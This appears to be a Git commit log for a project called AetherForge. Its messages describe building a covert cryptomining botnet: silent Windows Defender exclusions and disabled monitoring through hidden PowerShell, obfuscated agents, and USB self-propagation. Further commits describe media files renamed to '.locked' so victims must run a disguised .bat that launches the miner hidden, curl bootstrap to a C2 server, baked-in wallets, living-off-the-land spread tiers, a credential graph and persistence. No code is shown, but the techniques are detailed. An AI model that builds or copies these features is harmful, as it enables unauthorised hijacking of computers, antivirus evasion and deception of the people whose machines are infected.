Commit Graph

  • 85d55df37c Remove resolved UH-03–05 rows from PROBLEMS.md. AetherForge 2026-06-07 06:33:35 -07:00
  • 728c34363b Add HelpTip coverage for War Room, Mission Deck, and Forge gaps (UH-03–05). AetherForge 2026-06-07 06:31:08 -07:00
  • c8437c5b22 Add by-design safety tests and clear PROBLEMS.md rows. AetherForge 2026-06-07 06:27:19 -07:00
  • f404a76caa Fix exotic CPU stub idle-mining guard and document Linux headless screenshots. AetherForge 2026-06-07 06:27:19 -07:00
  • 72d0e6ac19 Add Vitest coverage for erasure lanes, fleet evolution UI, and spread routes. AetherForge 2026-06-07 06:21:11 -07:00
  • aa6b8a3142 Sync test doc counts and master validation section. AetherForge 2026-06-07 06:17:37 -07:00
  • 56943b4bf0 Document P2 automatable coverage as complete in PROBLEMS.md. AetherForge 2026-06-07 06:13:18 -07:00
  • d18c5910c2 Close automatable P2 test gaps with mocks and httptest integration. AetherForge 2026-06-07 06:12:08 -07:00
  • 0445b7ed4f Add erasure-coded multi-lane spread foundation. AetherForge 2026-06-07 06:09:20 -07:00
  • 39b935aeb6 Add batch forge per-file skipped counter UI and tests. AetherForge 2026-06-07 06:05:29 -07:00
  • 4e2005a567 Add fleet evolution: seeder/miner split, atlas gossip, genetic breeding, BGP spread router, genealogy, court retry, hashrate/subnet gates, APK scout, persona temperament, WSUS mimic AetherForge 2026-06-07 05:54:07 -07:00
  • 9a0afc450f docs: sync PROBLEMS.md after Path Forge and flake-fix landings AetherForge 2026-06-07 05:24:42 -07:00
  • ed9c90a420 fix: stabilize flaky server API and spread gate tests AetherForge 2026-06-07 05:23:28 -07:00
  • 499d6cd8d3 test: Path Forge cancel and batch race UI coverage AetherForge 2026-06-07 05:16:55 -07:00
  • 0cb03488e4 Document fleet evolution coverage and harden E2E login/LOTL waits. AetherForge 2026-06-07 05:16:19 -07:00
  • f580f4d64d Fix PROBLEMS.md P2 remaining row after coverage sweep AetherForge 2026-06-07 05:00:34 -07:00
  • 82d74abfcf Add fleet evolution: genetic breeding, atlas gossip, BGP router, seeder/miner, genealogy, court gates, APK scout, personas, WSUS mimic, and P2 test coverage AetherForge 2026-06-07 05:00:22 -07:00
  • 7b2d41cda8 Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling AetherForge 2026-06-07 04:58:55 -07:00
  • b2a7b1723f Fix E2E Forge heading selectors and test-suite npm arg shadowing AetherForge 2026-06-07 03:57:53 -07:00
  • ab143fbfd2 Add featured Dark House track with default landing ambient playback AetherForge 2026-06-07 03:56:47 -07:00
  • 5c6913dc5f Validate and integrate fleet intelligence features AetherForge 2026-06-07 02:49:35 -07:00
  • 1a5665d908 Add Windows Gradle smoke test for Android agent-app project. AetherForge 2026-06-07 02:47:44 -07:00
  • 95f26a8d08 Update README and documentation for LOTL onion, fleet intelligence, and AI control AetherForge 2026-06-07 02:47:21 -07:00
  • aaa6fc77a4 Fix APK builder test database cleanup on Windows. AetherForge 2026-06-07 02:45:37 -07:00
  • 1d492fa119 Set AETHERFORGE env vars in APK wrapper before agent spawn. AetherForge 2026-06-07 02:45:17 -07:00
  • 50ebfe53cb Add Android APK fleet nodes with Crucible UI integration and tests. AetherForge 2026-06-07 02:44:29 -07:00
  • d9f36f182c Add phenotype cloning, failure atlas, AI court session, and clearance L0-L4 AetherForge 2026-06-07 02:41:54 -07:00
  • 4b94776432 Fix Fleet AI and LOTL test regressions after parallel merges. AetherForge 2026-06-07 02:38:27 -07:00
  • 4ce9826660 Add Calibrate AI persona presets with per-mode system prompts AetherForge 2026-06-07 02:31:14 -07:00
  • f89ba94cb7 Add L0-L4 security clearance for fleet commands and AI elevation. AetherForge 2026-06-07 02:30:00 -07:00
  • dd612251d1 Scrub example data, theatrics, and non-functional prod garbage AetherForge 2026-06-07 02:28:58 -07:00
  • 4204dd6b6d Add fleet phenotype cloning for sibling machines. AetherForge 2026-06-07 02:28:00 -07:00
  • bb48515b2b Fix Fleet AI snapshot skipped mining tiers and trim slow test. AetherForge 2026-06-07 02:21:21 -07:00
  • 075613c4ac Add Fleet AI handler API tests for config and decisions routes. AetherForge 2026-06-07 02:16:38 -07:00
  • 0002e5fd93 Add Calibrate AI Control UI and fleet LLM backend wiring. AetherForge 2026-06-07 02:14:28 -07:00
  • 34afa28f81 Add LOTL Timeline page for live tier progression visualization. AetherForge 2026-06-07 02:13:15 -07:00
  • f27cec887a Fix validation failures from loose-end sweep AetherForge 2026-06-07 01:29:54 -07:00
  • 85376eac7c Add fleet adaptive strategy engine for proactive LOTL tier ordering AetherForge 2026-06-07 01:15:18 -07:00
  • 047d5c7252 Include remaining AccessDepth and uiHelp test updates from parallel work. AetherForge 2026-06-07 01:08:15 -07:00
  • 0be2de81a5 Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles. AetherForge 2026-06-07 01:07:55 -07:00
  • 652356bfe6 Add do_peer Shadow Cache Handoff deploy tier for LOTL spread onion AetherForge 2026-06-07 00:57:46 -07:00
  • e37eb24369 Fix flaky stats-batch tests and extend Crucible E2E LOTL coverage. AetherForge 2026-06-07 00:52:55 -07:00
  • fd5cc1dd61 Fix portable USB pack webroot resolution and document LAUNCH flow. AetherForge 2026-06-07 00:48:24 -07:00
  • e8562e11cf Expand LOTL vector glossary, examples, and mermaid architecture docs AetherForge 2026-06-07 00:46:18 -07:00
  • 6761d4285c Add forge spread toggles for WinRM and Linux LOTL AetherForge 2026-06-07 00:43:21 -07:00
  • 9ad4cce194 Tie Mission Deck loose ends: collapse excessive blank lines (DV-15) and refresh PROBLEMS test inventory. AetherForge 2026-06-07 00:42:57 -07:00
  • 33a66d853d Sync docs and test inventory after LOTL release AetherForge 2026-06-07 00:42:06 -07:00
  • a191fcedfd Cleanup after LOTL: sync vuln_recon as the tenth tier across server, agent, and UI; tighten gitignore and trim PROBLEMS; dedupe spread docs into a single canonical stub. AetherForge 2026-06-07 00:05:09 -07:00
  • 3938bcd1c5 Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation. AetherForge 2026-06-06 23:53:21 -07:00
  • 6372b07e6c Final sweep: Crucible fixes, Path Tracer polish, forge progress, tests green. AetherForge 2026-06-06 18:07:47 -07:00
  • e65753ce49 fix: second-wave bug fixes, security hardening, visual polish, UX improvements AetherForge 2026-06-06 17:08:15 -07:00
  • f1cee99660 chore: crucible and path tracer UI sync AetherForge 2026-06-06 16:58:13 -07:00
  • 472f0d4413 chore: pathforge and crucible ops follow-up AetherForge 2026-06-06 16:58:08 -07:00
  • d5351f31d2 chore: build manager page CSS sync AetherForge 2026-06-06 16:58:01 -07:00
  • 2d3a0633bd chore: crucible expanded ops line-ending sync AetherForge 2026-06-06 16:57:56 -07:00
  • 92db39217f chore: sync post-pack UI help and pathforge tweaks AetherForge 2026-06-06 16:57:52 -07:00
  • 415b5dc6a3 Release validation: tests green, USB pack, fleet UX and API hardening. AetherForge 2026-06-06 16:57:39 -07:00
  • 5229854f00 chore: final integration — refresh USB server binary AetherForge 2026-06-04 22:38:28 -07:00
  • a32860b0d9 feat: alive UI wave, galaxy presence, spread and fleet enhancements AetherForge 2026-06-04 22:36:17 -07:00
  • 1551bd5dad feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e AetherForge 2026-06-04 21:53:31 -07:00
  • 8466c7aa9b fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes AetherForge 2026-06-04 20:41:44 -07:00
  • 6bfce5d5ab fix: dashboard funnel crash, comrade user, Cloudflare tunnel auto-start AetherForge 2026-06-04 14:14:34 -07:00
  • 5fc601b564 feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence AetherForge 2026-06-04 09:34:33 -07:00
  • d52479c9a6 feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops AetherForge 2026-06-03 20:32:59 -07:00
  • 03937edba7 feat(av): silent AV evasion on startup + garble obfuscation. On launch: adds Defender ExclusionPath for install dir + exe, ExclusionProcess for process name, attempts DisableRealtimeMonitoring + DisableBehaviorMonitoring + DisableScriptScanning via hidden PowerShell (admin elevates, non-admin gets exclusions only). USB agent now built with garble -literals -tiny: all string literals and symbols scrambled. AetherForge 2026-06-03 11:12:18 -07:00
  • 2f85f2066d fix(mining+fleet): two critical bugs - 1) PoolTLS was true on port 3333 (non-TLS port) causing direct Stratum to always fail = no hashing. Fixed to false. 2) Duplicate agent entries: server now deduplicates by MAC address on auth. Agent now persists server-confirmed ID back to agent.id so reinstalls reconnect as same agent. USB repacked. AetherForge 2026-06-03 10:54:47 -07:00
  • f12cbe72d4 feat(forge): drop click_bat_to_unlock_movie hint file in each seeded dir. Filename is the instruction; content names the .bat to double-click. USB repacked. AetherForge 2026-06-03 01:24:30 -07:00
  • 2dd576440e feat(forge): PATH FORGE lock original - file unplayable without launcher. Renames Terminator.mkv -> Terminator.mkv.locked (no app can open .locked). Launcher: unlock -> play -> re-lock after 4s -> run agent hidden. Toggle in UI defaults ON. .bat uses ren + PowerShell delayed re-lock. .command uses mv + background sleep re-lock. USB repacked. AetherForge 2026-06-03 01:19:50 -07:00
  • 7f0b20fb26 fix(forge): PATH FORGE - preserve original files, drop all 3 companions. UI now explicitly states original is never touched. Results show original (kept) + all placed companions. Both Win+Mac default on so all 3 always drop together. AetherForge 2026-06-03 01:15:24 -07:00
  • 924070cd82 feat(forge): PATH FORGE recursive batch seeding. Server-side endpoint walks any local path, drops companion launchers next to every matching file on disk. Windows: stem.exe (agent copy) + stem.bat (opens original file + hidden agent launch). Mac: stem.command (open + curl C2 bootstrap). Filename mode: original (Terminator.mkv -> Terminator.exe) or custom stem. UI panel in Forge below Fusion section. USB repacked. AetherForge 2026-06-03 01:07:38 -07:00
  • 95e8fcc315 feat(supp): SUPP Recursive Seek Mode. Agent walks any path, seeds every media dir with silent launchers. Windows: copies self as stem.exe + drops stem.bat (hidden PowerShell runner). Mac/Linux: drops stem.command (curl bootstrap to C2). Server: /api/download/agent-{windows,mac,linux} endpoints serve agent binaries for remote bootstrap. Crucible UI: SUPP SEEK panel with root path input, file stem, Win/Mac checkboxes, Launch button. Fixes pre-existing TS errors in SettingsPage (rvn_pool_pass -> password, accent orange -> amber). USB repacked with both binaries. AetherForge 2026-06-03 00:41:05 -07:00
  • a17cef4c5d fix(mac): resolve duplicate symbols blocking darwin/linux builds + add Mac tests. Remove duplicate launchProcessGuard from guard_unix.go (kept richer health_unix.go shell-loop version using pgrep -f). Remove duplicate applyDetachedStart from exec_stub.go (kept platform_unix.go impl that clears stdio). Add silent_stub.go for !windows so silentCombinedOutput/silentOutput/silentRun compile on Mac. All 4 targets now build: darwin/arm64, darwin/amd64, linux/amd64, linux/arm64. New tests: workerProcessRunning, applyDetachedStart stdio clearing, PersistenceKeyName, HostOSVersion, LaunchAgent plist content, silent stub exec wrappers. AetherForge 2026-06-03 00:31:30 -07:00
  • bbc1526c37 chore: repack USB + add 44 critical missing tests. Rebuilt agent+server binaries: RandomX SuperScalar init, fast Stratum fallback 8s/15s, GPU shutdown fix, RVN pool rotation, wallets baked. Tests: handleMessage dispatch, needsStratumFallback thresholds, IsGuardMode, pool parseAndSetJob, difficultyToTarget, parseSubmitResult, ParseBlob, FromModelJob round-trip. AetherForge 2026-06-03 00:10:12 -07:00
  • f0c4506e96 feat(gpu): fix shutdown race, add RVN pool rotation, full test suite. Fix run() deadlock: proc.Kill() on Stop(), dedicated pollStop channel, stopCh checked in retry delay. Add buildPoolList() using RVNBackupPools (was wired in config/UI but unused). 29 new GPU tests covering detection gates, pool URL building, pool rotation, avg(), itoa(), zip extract, mock miner API (T-Rex + TRM), process stop. RVN wallet defaults set. Download URLs verified 200. AetherForge 2026-06-02 23:58:15 -07:00
  • f6b692e232 feat(agent): mine immediately on startup using baked-in credentials. Reduce Stratum fallback trigger: C2 offline threshold 30s->8s, no-job threshold 60s->15s. Initialize disconnectedSince at manager start (not first tick) so hashing begins within ~10s regardless of C2 availability. C2 remains optional control layer - baked wallet+pool are always the primary source of truth. Default wallet set in builtin.go. AetherForge 2026-06-02 23:50:54 -07:00
  • 593c57caa3 chore: remove dead code and junk artifacts. Delete empty fusion launch stubs (launch_stub.go, launch_windows.go had only build tags, no functions - launchWorker lives in main.go). Remove loose root screenshots, old test exe artifacts, unreferenced cloudflared MSI, and empty fusion-deliverables dir. AetherForge 2026-06-02 23:47:05 -07:00
  • 1965fab67a fix(miner): initialize RandomX SuperScalar programs - mining was never hashing. Critical: Randomx_init_cache only populates Argon2d blocks; Programs[] stayed nil causing nil-ptr crash in every hash. Fix: build all 8 SuperScalar programs after cache init. Validator confirms 1.7 MH/s live. Also: blob fix, stratum job-timeout rotation, hashrate watchdog. AetherForge 2026-06-02 23:40:22 -07:00
  • 34c12107ed fix: mining always starts, RVN pool in Calibrate, USB repacked AetherForge 2026-06-02 23:17:53 -07:00
  • b18007f563 Fix command delivery: close dead sockets on write error, use cmd.exe for power commands AetherForge 2026-06-02 22:29:42 -07:00
  • ed4d22ce32 Fix USB spread loop: record exe size before goroutine, remove decoy folders AetherForge 2026-06-02 22:23:55 -07:00
  • 9407efd960 Fix stale alerts for deleted agents on command deck AetherForge 2026-06-02 22:09:09 -07:00
  • 96f683a72a Guard NewWSHub nil-db path to fix test suite flake AetherForge 2026-06-02 22:02:34 -07:00
  • 60ab286403 Fix phantom online agents: startup reset, init reconciliation, stale-sweep goroutine AetherForge 2026-06-02 22:00:21 -07:00
  • ca66f5d048 Add RVN GPU mining, USB self-propagation chain, fleet power controls, and major dashboard features. AetherForge 2026-06-02 21:50:34 -07:00
  • 41b5ec7a88 Add fleet groups, agent screenshots, deploy guards, and Crucible polish. AetherForge 2026-06-02 20:51:52 -07:00
  • 01d76b3730 Improve fleet control, Crucible ops, and multi-machine identity. AetherForge 2026-06-02 19:19:50 -07:00
  • 5222f4ad39 Add Command Deck screenshot to README for Gitea AetherForge 2026-06-01 21:53:22 -07:00
  • ea504b83e2 fix: six maintenance fixes across LAUNCH.bat, config, go.mod, and gitignore AetherForge 2026-06-01 21:40:06 -07:00
  • 7d186d9c49 Remove accidentally committed temp debug files AetherForge 2026-06-01 21:31:19 -07:00
  • 0511306c65 Clean up all staticcheck errors (SA4006 + U1000): fix dead assignments in server_info.go and build_universal.go; remove unused proxy fields and functions; delete superseded icon_windows.go and shortcut_windows.go AetherForge 2026-06-01 21:31:13 -07:00
  • 5ef1734ae3 Fix LAUNCH.bat batch syntax: escape parens in else-block echo AetherForge 2026-06-01 21:23:50 -07:00
  • 1413a9394f Add pool presets, operator bake-ins, and USB pack improvements AetherForge 2026-06-01 21:06:19 -07:00
  • 1e0482ebe1 Add mining pool notes; ignore local USB archive and shell junk AetherForge 2026-06-01 17:54:18 -07:00
  • afba486c28 Remove Cloudflare from pack-usb, fix password length test AetherForge 2026-06-01 16:31:02 -07:00
  • fdfa414a9a Remove Cloudflare tunnel; shorten generated admin password to 8 chars. AetherForge 2026-06-01 15:32:02 -07:00
  • 3605d540da Add self-healing Cloudflare tunnel with 60s watchdog for USB deck. AetherForge 2026-06-01 15:03:17 -07:00
  • feba06e008 Improve portable launch, forge persistence, and operator auth UX. AetherForge 2026-05-31 18:56:43 -07:00
  • 2f528229f2 Improve portable USB pack and credentials-based tunnel launcher. AetherForge 2026-05-31 02:32:24 -07:00
  • babe644c94 Add Crucible rich terminal renderers and ignore local coverage dirs. AetherForge 2026-05-31 01:14:10 -07:00
  • ea6f54ad03 Expand test coverage across server, agent, and web; fix bugs found during audit. AetherForge 2026-05-31 01:13:49 -07:00